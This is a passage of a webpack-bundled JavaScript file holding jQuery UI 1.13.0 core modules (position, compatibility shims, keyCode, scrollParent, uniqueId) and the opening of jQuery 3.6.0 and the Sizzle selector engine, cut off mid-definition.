//>>demos: http://jqueryui.com/position/


( function() {
var cachedScrollbarWidth,
	max = Math.max,
	abs = Math.abs,
	rhorizontal = /left|center|right/,
	rvertical = /top|center|bottom/,
	roffset = /[\+\-]\d+(\.[\d]+)?%?/,
	rposition = /^\w+/,
	rpercent = /%$/,
	_position = $.fn.position;

function getOffsets( offsets, width, height ) {
	return [
		parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ),
		parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 )
	];
}

function parseCss( element, property ) {
	return parseInt( $.css( element, property ), 10 ) || 0;
}

function isWindow( obj ) {
	return obj != null && obj === obj.window;
}

function getDimensions( elem ) {
	var raw = elem[ 0 ];
	if ( raw.nodeType === 9 ) {
		return {
			width: elem.width(),
			height: elem.height(),
			offset: { top: 0, left: 0 }
		};
	}
	if ( isWindow( raw ) ) {
		return {
			width: elem.width(),
			height: elem.height(),
			offset: { top: elem.scrollTop(), left: elem.scrollLeft() }
		};
	}
	if ( raw.preventDefault ) {
		return {
			width: 0,
			height: 0,
			offset: { top: raw.pageY, left: raw.pageX }
		};
	}
	return {
		width: elem.outerWidth(),
		height: elem.outerHeight(),
		offset: elem.offset()
	};
}

$.position = $.position || {
	scrollbarWidth: function() {
		if ( cachedScrollbarWidth !== undefined ) {
			return cachedScrollbarWidth;
		}
		var w1, w2,
			div = $( "<div style=" +
				"'display:block;position:absolute;width:200px;height:200px;overflow:hidden;'>" +
				"<div style='height:300px;width:auto;'></div></div>" ),
			innerDiv = div.children()[ 0 ];

		$( "body" ).append( div );
		w1 = innerDiv.offsetWidth;
		div.css( "overflow", "scroll" );

		w2 = innerDiv.offsetWidth;

		if ( w1 === w2 ) {
			w2 = div[ 0 ].clientWidth;
		}

		div.remove();

		return ( cachedScrollbarWidth = w1 - w2 );
	},
	getScrollInfo: function( within ) {
		var overflowX = within.isWindow || within.isDocument ? "" :
				within.element.css( "overflow-x" ),
			overflowY = within.isWindow || within.isDocument ? "" :
				within.element.css( "overflow-y" ),
			hasOverflowX = overflowX === "scroll" ||
				( overflowX === "auto" && within.width < within.element[ 0 ].scrollWidth ),
			hasOverflowY = overflowY === "scroll" ||
				( overflowY === "auto" && within.height < within.element[ 0 ].scrollHeight );
		return {
			width: hasOverflowY ? $.position.scrollbarWidth() : 0,
			height: hasOverflowX ? $.position.scrollbarWidth() : 0
		};
	},
	getWithinInfo: function( element ) {
		var withinElement = $( element || window ),
			isElemWindow = isWindow( withinElement[ 0 ] ),
			isDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9,
			hasOffset = !isElemWindow && !isDocument;
		return {
			element: withinElement,
			isWindow: isElemWindow,
			isDocument: isDocument,
			offset: hasOffset ? $( element ).offset() : { left: 0, top: 0 },
			scrollLeft: withinElement.scrollLeft(),
			scrollTop: withinElement.scrollTop(),
			width: withinElement.outerWidth(),
			height: withinElement.outerHeight()
		};
	}
};

$.fn.position = function( options ) {
	if ( !options || !options.of ) {
		return _position.apply( this, arguments );
	}

	// Make a copy, we don't want to modify arguments
	options = $.extend( {}, options );

	var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions,

		// Make sure string options are treated as CSS selectors
		target = typeof options.of === "string" ?
			$( document ).find( options.of ) :
			$( options.of ),

		within = $.position.getWithinInfo( options.within ),
		scrollInfo = $.position.getScrollInfo( within ),
		collision = ( options.collision || "flip" ).split( " " ),
		offsets = {};

	dimensions = getDimensions( target );
	if ( target[ 0 ].preventDefault ) {

		// Force left top to allow flipping
		options.at = "left top";
	}
	targetWidth = dimensions.width;
	targetHeight = dimensions.height;
	targetOffset = dimensions.offset;

	// Clone to reuse original targetOffset later
	basePosition = $.extend( {}, targetOffset );

	// Force my and at to have valid horizontal and vertical positions
	// if a value is missing or invalid, it will be converted to center
	$.each( [ "my", "at" ], function() {
		var pos = ( options[ this ] || "" ).split( " " ),
			horizontalOffset,
			verticalOffset;

		if ( pos.length === 1 ) {
			pos = rhorizontal.test( pos[ 0 ] ) ?
				pos.concat( [ "center" ] ) :
				rvertical.test( pos[ 0 ] ) ?
					[ "center" ].concat( pos ) :
					[ "center", "center" ];
		}
		pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center";
		pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center";

		// Calculate offsets
		horizontalOffset = roffset.exec( pos[ 0 ] );
		verticalOffset = roffset.exec( pos[ 1 ] );
		offsets[ this ] = [
			horizontalOffset ? horizontalOffset[ 0 ] : 0,
			verticalOffset ? verticalOffset[ 0 ] : 0
		];

		// Reduce to just the positions without the offsets
		options[ this ] = [
			rposition.exec( pos[ 0 ] )[ 0 ],
			rposition.exec( pos[ 1 ] )[ 0 ]
		];
	} );

	// Normalize collision option
	if ( collision.length === 1 ) {
		collision[ 1 ] = collision[ 0 ];
	}

	if ( options.at[ 0 ] === "right" ) {
		basePosition.left += targetWidth;
	} else if ( options.at[ 0 ] === "center" ) {
		basePosition.left += targetWidth / 2;
	}

	if ( options.at[ 1 ] === "bottom" ) {
		basePosition.top += targetHeight;
	} else if ( options.at[ 1 ] === "center" ) {
		basePosition.top += targetHeight / 2;
	}

	atOffset = getOffsets( offsets.at, targetWidth, targetHeight );
	basePosition.left += atOffset[ 0 ];
	basePosition.top += atOffset[ 1 ];

	return this.each( function() {
		var collisionPosition, using,
			elem = $( this ),
			elemWidth = elem.outerWidth(),
			elemHeight = elem.outerHeight(),
			marginLeft = parseCss( this, "marginLeft" ),
			marginTop = parseCss( this, "marginTop" ),
			collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) +
				scrollInfo.width,
			collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) +
				scrollInfo.height,
			position = $.extend( {}, basePosition ),
			myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() );

		if ( options.my[ 0 ] === "right" ) {
			position.left -= elemWidth;
		} else if ( options.my[ 0 ] === "center" ) {
			position.left -= elemWidth / 2;
		}

		if ( options.my[ 1 ] === "bottom" ) {
			position.top -= elemHeight;
		} else if ( options.my[ 1 ] === "center" ) {
			position.top -= elemHeight / 2;
		}

		position.left += myOffset[ 0 ];
		position.top += myOffset[ 1 ];

		collisionPosition = {
			marginLeft: marginLeft,
			marginTop: marginTop
		};

		$.each( [ "left", "top" ], function( i, dir ) {
			if ( $.ui.position[ collision[ i ] ] ) {
				$.ui.position[ collision[ i ] ][ dir ]( position, {
					targetWidth: targetWidth,
					targetHeight: targetHeight,
					elemWidth: elemWidth,
					elemHeight: elemHeight,
					collisionPosition: collisionPosition,
					collisionWidth: collisionWidth,
					collisionHeight: collisionHeight,
					offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ],
					my: options.my,
					at: options.at,
					within: within,
					elem: elem
				} );
			}
		} );

		if ( options.using ) {

			// Adds feedback as second argument to using callback, if present
			using = function( props ) {
				var left = targetOffset.left - position.left,
					right = left + targetWidth - elemWidth,
					top = targetOffset.top - position.top,
					bottom = top + targetHeight - elemHeight,
					feedback = {
						target: {
							element: target,
							left: targetOffset.left,
							top: targetOffset.top,
							width: targetWidth,
							height: targetHeight
						},
						element: {
							element: elem,
							left: position.left,
							top: position.top,
							width: elemWidth,
							height: elemHeight
						},
						horizontal: right < 0 ? "left" : left > 0 ? "right" : "center",
						vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle"
					};
				if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) {
					feedback.horizontal = "center";
				}
				if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) {
					feedback.vertical = "middle";
				}
				if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) {
					feedback.important = "horizontal";
				} else {
					feedback.important = "vertical";
				}
				options.using.call( this, props, feedback );
			};
		}

		elem.offset( $.extend( position, { using: using } ) );
	} );
};

$.ui.position = {
	fit: {
		left: function( position, data ) {
			var within = data.within,
				withinOffset = within.isWindow ? within.scrollLeft : within.offset.left,
				outerWidth = within.width,
				collisionPosLeft = position.left - data.collisionPosition.marginLeft,
				overLeft = withinOffset - collisionPosLeft,
				overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset,
				newOverRight;

			// Element is wider than within
			if ( data.collisionWidth > outerWidth ) {

				// Element is initially over the left side of within
				if ( overLeft > 0 && overRight <= 0 ) {
					newOverRight = position.left + overLeft + data.collisionWidth - outerWidth -
						withinOffset;
					position.left += overLeft - newOverRight;

				// Element is initially over right side of within
				} else if ( overRight > 0 && overLeft <= 0 ) {
					position.left = withinOffset;

				// Element is initially over both left and right sides of within
				} else {
					if ( overLeft > overRight ) {
						position.left = withinOffset + outerWidth - data.collisionWidth;
					} else {
						position.left = withinOffset;
					}
				}

			// Too far left -> align with left edge
			} else if ( overLeft > 0 ) {
				position.left += overLeft;

			// Too far right -> align with right edge
			} else if ( overRight > 0 ) {
				position.left -= overRight;

			// Adjust based on position and margin
			} else {
				position.left = max( position.left - collisionPosLeft, position.left );
			}
		},
		top: function( position, data ) {
			var within = data.within,
				withinOffset = within.isWindow ? within.scrollTop : within.offset.top,
				outerHeight = data.within.height,
				collisionPosTop = position.top - data.collisionPosition.marginTop,
				overTop = withinOffset - collisionPosTop,
				overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset,
				newOverBottom;

			// Element is taller than within
			if ( data.collisionHeight > outerHeight ) {

				// Element is initially over the top of within
				if ( overTop > 0 && overBottom <= 0 ) {
					newOverBottom = position.top + overTop + data.collisionHeight - outerHeight -
						withinOffset;
					position.top += overTop - newOverBottom;

				// Element is initially over bottom of within
				} else if ( overBottom > 0 && overTop <= 0 ) {
					position.top = withinOffset;

				// Element is initially over both top and bottom of within
				} else {
					if ( overTop > overBottom ) {
						position.top = withinOffset + outerHeight - data.collisionHeight;
					} else {
						position.top = withinOffset;
					}
				}

			// Too far up -> align with top
			} else if ( overTop > 0 ) {
				position.top += overTop;

			// Too far down -> align with bottom edge
			} else if ( overBottom > 0 ) {
				position.top -= overBottom;

			// Adjust based on position and margin
			} else {
				position.top = max( position.top - collisionPosTop, position.top );
			}
		}
	},
	flip: {
		left: function( position, data ) {
			var within = data.within,
				withinOffset = within.offset.left + within.scrollLeft,
				outerWidth = within.width,
				offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left,
				collisionPosLeft = position.left - data.collisionPosition.marginLeft,
				overLeft = collisionPosLeft - offsetLeft,
				overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft,
				myOffset = data.my[ 0 ] === "left" ?
					-data.elemWidth :
					data.my[ 0 ] === "right" ?
						data.elemWidth :
						0,
				atOffset = data.at[ 0 ] === "left" ?
					data.targetWidth :
					data.at[ 0 ] === "right" ?
						-data.targetWidth :
						0,
				offset = -2 * data.offset[ 0 ],
				newOverRight,
				newOverLeft;

			if ( overLeft < 0 ) {
				newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth -
					outerWidth - withinOffset;
				if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) {
					position.left += myOffset + atOffset + offset;
				}
			} else if ( overRight > 0 ) {
				newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset +
					atOffset + offset - offsetLeft;
				if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) {
					position.left += myOffset + atOffset + offset;
				}
			}
		},
		top: function( position, data ) {
			var within = data.within,
				withinOffset = within.offset.top + within.scrollTop,
				outerHeight = within.height,
				offsetTop = within.isWindow ? within.scrollTop : within.offset.top,
				collisionPosTop = position.top - data.collisionPosition.marginTop,
				overTop = collisionPosTop - offsetTop,
				overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop,
				top = data.my[ 1 ] === "top",
				myOffset = top ?
					-data.elemHeight :
					data.my[ 1 ] === "bottom" ?
						data.elemHeight :
						0,
				atOffset = data.at[ 1 ] === "top" ?
					data.targetHeight :
					data.at[ 1 ] === "bottom" ?
						-data.targetHeight :
						0,
				offset = -2 * data.offset[ 1 ],
				newOverTop,
				newOverBottom;
			if ( overTop < 0 ) {
				newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight -
					outerHeight - withinOffset;
				if ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) {
					position.top += myOffset + atOffset + offset;
				}
			} else if ( overBottom > 0 ) {
				newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset +
					offset - offsetTop;
				if ( newOverTop > 0 || abs( newOverTop ) < overBottom ) {
					position.top += myOffset + atOffset + offset;
				}
			}
		}
	},
	flipfit: {
		left: function() {
			$.ui.position.flip.left.apply( this, arguments );
			$.ui.position.fit.left.apply( this, arguments );
		},
		top: function() {
			$.ui.position.flip.top.apply( this, arguments );
			$.ui.position.fit.top.apply( this, arguments );
		}
	}
};

} )();

var position = $.ui.position;


/*!
 * jQuery UI Support for jQuery core 1.8.x and newer 1.13.0
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 */

//>>label: jQuery 1.8+ Support
//>>group: Core
//>>description: Support version 1.8.x and newer of jQuery core


// Support: jQuery 1.9.x or older
// $.expr[ ":" ] is deprecated.
if ( !$.expr.pseudos ) {
	$.expr.pseudos = $.expr[ ":" ];
}

// Support: jQuery 1.11.x or older
// $.unique has been renamed to $.uniqueSort
if ( !$.uniqueSort ) {
	$.uniqueSort = $.unique;
}

// Support: jQuery 2.2.x or older.
// This method has been defined in jQuery 3.0.0.
// Code from https://github.com/jquery/jquery/blob/e539bac79e666bba95bba86d690b4e609dca2286/src/selector/escapeSelector.js
if ( !$.escapeSelector ) {

	// CSS string/identifier serialization
	// https://drafts.csswg.org/cssom/#common-serializing-idioms
	var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;

	var fcssescape = function( ch, asCodePoint ) {
		if ( asCodePoint ) {

			// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER
			if ( ch === "\0" ) {
				return "\uFFFD";
			}

			// Control characters and (dependent upon position) numbers get escaped as code points
			return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " ";
		}

		// Other potentially-special ASCII characters get backslash-escaped
		return "\\" + ch;
	};

	$.escapeSelector = function( sel ) {
		return ( sel + "" ).replace( rcssescape, fcssescape );
	};
}

// Support: jQuery 3.4.x or older
// These methods have been defined in jQuery 3.5.0.
if ( !$.fn.even || !$.fn.odd ) {
	$.fn.extend( {
		even: function() {
			return this.filter( function( i ) {
				return i % 2 === 0;
			} );
		},
		odd: function() {
			return this.filter( function( i ) {
				return i % 2 === 1;
			} );
		}
	} );
}

;
/*!
 * jQuery UI Keycode 1.13.0
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: Keycode
//>>group: Core
//>>description: Provide keycodes as keynames
//>>docs: http://api.jqueryui.com/jQuery.ui.keyCode/


var keycode = $.ui.keyCode = {
	BACKSPACE: 8,
	COMMA: 188,
	DELETE: 46,
	DOWN: 40,
	END: 35,
	ENTER: 13,
	ESCAPE: 27,
	HOME: 36,
	LEFT: 37,
	PAGE_DOWN: 34,
	PAGE_UP: 33,
	PERIOD: 190,
	RIGHT: 39,
	SPACE: 32,
	TAB: 9,
	UP: 38
};


/*!
 * jQuery UI Scroll Parent 1.13.0
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: scrollParent
//>>group: Core
//>>description: Get the closest ancestor element that is scrollable.
//>>docs: http://api.jqueryui.com/scrollParent/


var scrollParent = $.fn.scrollParent = function( includeHidden ) {
	var position = this.css( "position" ),
		excludeStaticParent = position === "absolute",
		overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/,
		scrollParent = this.parents().filter( function() {
			var parent = $( this );
			if ( excludeStaticParent && parent.css( "position" ) === "static" ) {
				return false;
			}
			return overflowRegex.test( parent.css( "overflow" ) + parent.css( "overflow-y" ) +
				parent.css( "overflow-x" ) );
		} ).eq( 0 );

	return position === "fixed" || !scrollParent.length ?
		$( this[ 0 ].ownerDocument || document ) :
		scrollParent;
};


/*!
 * jQuery UI Unique ID 1.13.0
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: uniqueId
//>>group: Core
//>>description: Functions to generate and remove uniqueId's
//>>docs: http://api.jqueryui.com/uniqueId/


var uniqueId = $.fn.extend( {
	uniqueId: ( function() {
		var uuid = 0;

		return function() {
			return this.each( function() {
				if ( !this.id ) {
					this.id = "ui-id-" + ( ++uuid );
				}
			} );
		};
	} )(),

	removeUniqueId: function() {
		return this.each( function() {
			if ( /^ui-id-\d+$/.test( this.id ) ) {
				$( this ).removeAttr( "id" );
			}
		} );
	}
} );




} );


/***/ }),

/***/ 486:
/***/ (function(module, exports) {

var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
 * jQuery JavaScript Library v3.6.0
 * https://jquery.com/
 *
 * Includes Sizzle.js
 * https://sizzlejs.com/
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license
 * https://jquery.org/license
 *
 * Date: 2021-03-02T17:08Z
 */
( function( global, factory ) {

	"use strict";

	if (  true && typeof module.exports === "object" ) {

		// For CommonJS and CommonJS-like environments where a proper `window`
		// is present, execute the factory and get jQuery.
		// For environments that do not have a `window` with a `document`
		// (such as Node.js), expose a factory as module.exports.
		// This accentuates the need for the creation of a real `window`.
		// e.g. var jQuery = require("jquery")(window);
		// See ticket #14549 for more info.
		module.exports = global.document ?
			factory( global, true ) :
			function( w ) {
				if ( !w.document ) {
					throw new Error( "jQuery requires a window with a document" );
				}
				return factory( w );
			};
	} else {
		factory( global );
	}

// Pass this if window is not defined yet
} )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) {

// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1
// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode
// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common
// enough that all such attempts are guarded in a try block.
"use strict";

var arr = [];

var getProto = Object.getPrototypeOf;

var slice = arr.slice;

var flat = arr.flat ? function( array ) {
	return arr.flat.call( array );
} : function( array ) {
	return arr.concat.apply( [], array );
};


var push = arr.push;

var indexOf = arr.indexOf;

var class2type = {};

var toString = class2type.toString;

var hasOwn = class2type.hasOwnProperty;

var fnToString = hasOwn.toString;

var ObjectFunctionString = fnToString.call( Object );

var support = {};

var isFunction = function isFunction( obj ) {

		// Support: Chrome <=57, Firefox <=52
		// In some browsers, typeof returns "function" for HTML <object> elements
		// (i.e., `typeof document.createElement( "object" ) === "function"`).
		// We don't want to classify *any* DOM node as a function.
		// Support: QtWeb <=3.8.5, WebKit <=534.34, wkhtmltopdf tool <=0.12.5
		// Plus for old WebKit, typeof returns "function" for HTML collections
		// (e.g., `typeof document.getElementsByTagName("div") === "function"`). (gh-4756)
		return typeof obj === "function" && typeof obj.nodeType !== "number" &&
			typeof obj.item !== "function";
	};


var isWindow = function isWindow( obj ) {
		return obj != null && obj === obj.window;
	};


var document = window.document;



	var preservedScriptAttributes = {
		type: true,
		src: true,
		nonce: true,
		noModule: true
	};

	function DOMEval( code, node, doc ) {
		doc = doc || document;

		var i, val,
			script = doc.createElement( "script" );

		script.text = code;
		if ( node ) {
			for ( i in preservedScriptAttributes ) {

				// Support: Firefox 64+, Edge 18+
				// Some browsers don't support the "nonce" property on scripts.
				// On the other hand, just using `getAttribute` is not enough as
				// the `nonce` attribute is reset to an empty string whenever it
				// becomes browsing-context connected.
				// See https://github.com/whatwg/html/issues/2369
				// See https://html.spec.whatwg.org/#nonce-attributes
				// The `node.getAttribute` check was added for the sake of
				// `jQuery.globalEval` so that it can fake a nonce-containing node
				// via an object.
				val = node[ i ] || node.getAttribute && node.getAttribute( i );
				if ( val ) {
					script.setAttribute( i, val );
				}
			}
		}
		doc.head.appendChild( script ).parentNode.removeChild( script );
	}


function toType( obj ) {
	if ( obj == null ) {
		return obj + "";
	}

	// Support: Android <=2.3 only (functionish RegExp)
	return typeof obj === "object" || typeof obj === "function" ?
		class2type[ toString.call( obj ) ] || "object" :
		typeof obj;
}
/* global Symbol */
// Defining this global in .eslintrc.json would create a danger of using the global
// unguarded in another place, it seems safer to define global only for this module



var
	version = "3.6.0",

	// Define a local copy of jQuery
	jQuery = function( selector, context ) {

		// The jQuery object is actually just the init constructor 'enhanced'
		// Need init if jQuery is called (just allow error to be thrown if not included)
		return new jQuery.fn.init( selector, context );
	};

jQuery.fn = jQuery.prototype = {

	// The current version of jQuery being used
	jquery: version,

	constructor: jQuery,

	// The default length of a jQuery object is 0
	length: 0,

	toArray: function() {
		return slice.call( this );
	},

	// Get the Nth element in the matched element set OR
	// Get the whole matched element set as a clean array
	get: function( num ) {

		// Return all the elements in a clean array
		if ( num == null ) {
			return slice.call( this );
		}

		// Return just the one element from the set
		return num < 0 ? this[ num + this.length ] : this[ num ];
	},

	// Take an array of elements and push it onto the stack
	// (returning the new matched element set)
	pushStack: function( elems ) {

		// Build a new jQuery matched element set
		var ret = jQuery.merge( this.constructor(), elems );

		// Add the old object onto the stack (as a reference)
		ret.prevObject = this;

		// Return the newly-formed element set
		return ret;
	},

	// Execute a callback for every element in the matched set.
	each: function( callback ) {
		return jQuery.each( this, callback );
	},

	map: function( callback ) {
		return this.pushStack( jQuery.map( this, function( elem, i ) {
			return callback.call( elem, i, elem );
		} ) );
	},

	slice: function() {
		return this.pushStack( slice.apply( this, arguments ) );
	},

	first: function() {
		return this.eq( 0 );
	},

	last: function() {
		return this.eq( -1 );
	},

	even: function() {
		return this.pushStack( jQuery.grep( this, function( _elem, i ) {
			return ( i + 1 ) % 2;
		} ) );
	},

	odd: function() {
		return this.pushStack( jQuery.grep( this, function( _elem, i ) {
			return i % 2;
		} ) );
	},

	eq: function( i ) {
		var len = this.length,
			j = +i + ( i < 0 ? len : 0 );
		return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );
	},

	end: function() {
		return this.prevObject || this.constructor();
	},

	// For internal use only.
	// Behaves like an Array's method, not like a jQuery method.
	push: push,
	sort: arr.sort,
	splice: arr.splice
};

jQuery.extend = jQuery.fn.extend = function() {
	var options, name, src, copy, copyIsArray, clone,
		target = arguments[ 0 ] || {},
		i = 1,
		length = arguments.length,
		deep = false;

	// Handle a deep copy situation
	if ( typeof target === "boolean" ) {
		deep = target;

		// Skip the boolean and the target
		target = arguments[ i ] || {};
		i++;
	}

	// Handle case when target is a string or something (possible in deep copy)
	if ( typeof target !== "object" && !isFunction( target ) ) {
		target = {};
	}

	// Extend jQuery itself if only one argument is passed
	if ( i === length ) {
		target = this;
		i--;
	}

	for ( ; i < length; i++ ) {

		// Only deal with non-null/undefined values
		if ( ( options = arguments[ i ] ) != null ) {

			// Extend the base object
			for ( name in options ) {
				copy = options[ name ];

				// Prevent Object.prototype pollution
				// Prevent never-ending loop
				if ( name === "__proto__" || target === copy ) {
					continue;
				}

				// Recurse if we're merging plain objects or arrays
				if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
					( copyIsArray = Array.isArray( copy ) ) ) ) {
					src = target[ name ];

					// Ensure proper type for the source value
					if ( copyIsArray && !Array.isArray( src ) ) {
						clone = [];
					} else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) {
						clone = {};
					} else {
						clone = src;
					}
					copyIsArray = false;

					// Never move original objects, clone them
					target[ name ] = jQuery.extend( deep, clone, copy );

				// Don't bring in undefined values
				} else if ( copy !== undefined ) {
					target[ name ] = copy;
				}
			}
		}
	}

	// Return the modified object
	return target;
};

jQuery.extend( {

	// Unique for each copy of jQuery on the page
	expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),

	// Assume jQuery is ready without the ready module
	isReady: true,

	error: function( msg ) {
		throw new Error( msg );
	},

	noop: function() {},

	isPlainObject: function( obj ) {
		var proto, Ctor;

		// Detect obvious negatives
		// Use toString instead of jQuery.type to catch host objects
		if ( !obj || toString.call( obj ) !== "[object Object]" ) {
			return false;
		}

		proto = getProto( obj );

		// Objects with no prototype (e.g., `Object.create( null )`) are plain
		if ( !proto ) {
			return true;
		}

		// Objects with prototype are plain iff they were constructed by a global Object function
		Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor;
		return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString;
	},

	isEmptyObject: function( obj ) {
		var name;

		for ( name in obj ) {
			return false;
		}
		return true;
	},

	// Evaluates a script in a provided context; falls back to the global one
	// if not specified.
	globalEval: function( code, options, doc ) {
		DOMEval( code, { nonce: options && options.nonce }, doc );
	},

	each: function( obj, callback ) {
		var length, i = 0;

		if ( isArrayLike( obj ) ) {
			length = obj.length;
			for ( ; i < length; i++ ) {
				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
					break;
				}
			}
		} else {
			for ( i in obj ) {
				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
					break;
				}
			}
		}

		return obj;
	},

	// results is for internal usage only
	makeArray: function( arr, results ) {
		var ret = results || [];

		if ( arr != null ) {
			if ( isArrayLike( Object( arr ) ) ) {
				jQuery.merge( ret,
					typeof arr === "string" ?
						[ arr ] : arr
				);
			} else {
				push.call( ret, arr );
			}
		}

		return ret;
	},

	inArray: function( elem, arr, i ) {
		return arr == null ? -1 : indexOf.call( arr, elem, i );
	},

	// Support: Android <=4.0 only, PhantomJS 1 only
	// push.apply(_, arraylike) throws on ancient WebKit
	merge: function( first, second ) {
		var len = +second.length,
			j = 0,
			i = first.length;

		for ( ; j < len; j++ ) {
			first[ i++ ] = second[ j ];
		}

		first.length = i;

		return first;
	},

	grep: function( elems, callback, invert ) {
		var callbackInverse,
			matches = [],
			i = 0,
			length = elems.length,
			callbackExpect = !invert;

		// Go through the array, only saving the items
		// that pass the validator function
		for ( ; i < length; i++ ) {
			callbackInverse = !callback( elems[ i ], i );
			if ( callbackInverse !== callbackExpect ) {
				matches.push( elems[ i ] );
			}
		}

		return matches;
	},

	// arg is for internal usage only
	map: function( elems, callback, arg ) {
		var length, value,
			i = 0,
			ret = [];

		// Go through the array, translating each of the items to their new values
		if ( isArrayLike( elems ) ) {
			length = elems.length;
			for ( ; i < length; i++ ) {
				value = callback( elems[ i ], i, arg );

				if ( value != null ) {
					ret.push( value );
				}
			}

		// Go through every key on the object,
		} else {
			for ( i in elems ) {
				value = callback( elems[ i ], i, arg );

				if ( value != null ) {
					ret.push( value );
				}
			}
		}

		// Flatten any nested arrays
		return flat( ret );
	},

	// A global GUID counter for objects
	guid: 1,

	// jQuery.support is not used in Core but other projects attach their
	// properties to it so it needs to exist.
	support: support
} );

if ( typeof Symbol === "function" ) {
	jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];
}

// Populate the class2type map
jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ),
	function( _i, name ) {
		class2type[ "[object " + name + "]" ] = name.toLowerCase();
	} );

function isArrayLike( obj ) {

	// Support: real iOS 8.2 only (not reproducible in simulator)
	// `in` check used to prevent JIT error (gh-2145)
	// hasOwn isn't used here due to false negatives
	// regarding Nodelist length in IE
	var length = !!obj && "length" in obj && obj.length,
		type = toType( obj );

	if ( isFunction( obj ) || isWindow( obj ) ) {
		return false;
	}

	return type === "array" || length === 0 ||
		typeof length === "number" && length > 0 && ( length - 1 ) in obj;
}
var Sizzle =
/*!
 * Sizzle CSS Selector Engine v2.3.6
 * https://sizzlejs.com/
 *
 * Copyright JS Foundation and other contributors
 * Released under the MIT license
 * https://js.foundation/
 *
 * Date: 2021-02-16
 */
( function( window ) {
var i,
	support,
	Expr,
	getText,
	isXML,
	tokenize,
	compile,
	select,
	outermostContext,
	sortInput,
	hasDuplicate,

	// Local document vars
	setDocument,
	document,
	docElem,
	documentIsHTML,
	rbuggyQSA,
	rbuggyMatches,
	matches,
	contains,

	// Instance-specific data
	expando = "sizzle" + 1 * new Date(),
	preferredDoc = window.document,
	dirruns = 0,
	done = 0,
	classCache = createCache(),
	tokenCache = createCache(),
	compilerCache = createCache(),
	nonnativeSelectorCache = createCache(),
	sortOrder = function( a, b ) {
		if ( a === b ) {
			hasDuplicate = true;
		}
		return 0;
	},

	// Instance methods
	hasOwn = ( {} ).hasOwnProperty,
	arr = [],
	pop = arr.pop,
	pushNative = arr.push,
	push = arr.push,
	slice = arr.slice,

	// Use a stripped-down indexOf as it's faster than native
	// https://jsperf.com/thor-indexof-vs-for/5
	indexOf = function( list, elem ) {
		var i = 0,
			len = list.length;
		for ( ; i < len; i++ ) {
			if ( list[ i ] === elem ) {
				return i;
			}
		}
		return -1;
	},

	booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|" +
		"ismap|loop|multiple|open|readonly|required|scoped",

	// Regular expressions

	// http://www.w3.org/TR/css3-selectors/#whitespace
	whitespace = "[\\x20\\t\\r\\n\\f]",

	// https://www.w3.org/TR/css-syntax-3/#ident-token-diagram
	identifier = "(?:\\\\[\\da-fA-F]{1,6}" + whitespace +
		"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",

	// Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors
	attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace +

		// Operator (capture 2)
		"*([*^$|!~]?=)" + whitespace +

		// "Attribute values must be CSS identifiers [capture 5]
